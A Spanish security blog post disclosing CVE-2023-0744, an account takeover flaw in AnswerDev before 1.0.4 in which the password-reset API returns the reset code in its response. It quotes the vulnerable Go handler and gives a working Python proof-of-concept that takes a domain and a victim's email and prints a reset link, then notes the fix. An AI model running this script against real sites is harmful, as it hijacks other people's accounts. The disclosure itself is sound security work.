Recientemente, nuestro SOC Manager Eduardo Pérez-Malumbres Cervera @blueudp, ha descubierto una vulnerabilidad crítica de «Account Takeover» en AnswerDev (<1.0.4), un aplicativo de preguntas y respuestas, asignada con el identificador CVE-2023-0744.
Esta vulnerabilidad, permite a un atacante tomar el control de una cuenta de usuario en el aplicativo, conociendo nada más la dirección de correo electrónico de la víctima.
Análisis del código
El problema, surge en la API de restablecimiento de contraseña /answer/api/v1/user/password/reset.
// @Success 200 {string} string ""
// @Router /answer/api/v1/user/password/reset [post]
func (uc *UserController) RetrievePassWord(ctx *gin.Context) {
req := &schema.UserRetrievePassWordRequest{}
Esta, por un fallo de diseño, no solo envía el código junto a la URL de recuperación (https://domain/users/password-reset?code=) al correo especificado, sino que lo devuelve en la petición con el siguiente formato: {‘code’:200,’reason’:’base.success’,’msg’:’Success.’,’data’:’CÓDIGO’}.
Esto es debido a la forma en la que el código es generado y devuelto en la respuesta, tal como podemos observar en el código identificado como vulnerable.
code, err := uc.userService.RetrievePassWord(ctx, req)
handler.HandleResponse(ctx, err, code)
PoC
Para realizar el ATO, se ha programado el siguiente script en Python3, el cual toma como parámetro el dominio contra el que realizar la petición y el email víctima.
Este, devolverá el link de recuperación de contraseña para el email en cuestión.
from sys import argv
import urllib3
from requests import post
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def ato(url: list, email: str) -> str:
try:
return f"Your Link: {''.join(url)}users/password-reset?code=" + \
post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
except Exception as err:
return f"Can't reach URL: {err}"
if __name__ == "__main__":
if len(argv) != 3:
print(f"Usage: {argv[0]} https://answer.domain/ myemail@localhost.com")
exit()
print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))
Fix
El equipo de Answerdev, solucionó dicha vulnerabilidad en el siguiente commit, sustituyendo el código a devolver en la respuesta por un valor nulo.
Referencias
https://nvd.nist.gov/vuln/detail/CVE-2023-0744
https://www.linkedin.com/in/blueudp2/
La entrada Account Takeover en AnswerDev (CVE-2023-0744) se publicó primero en Una al Día.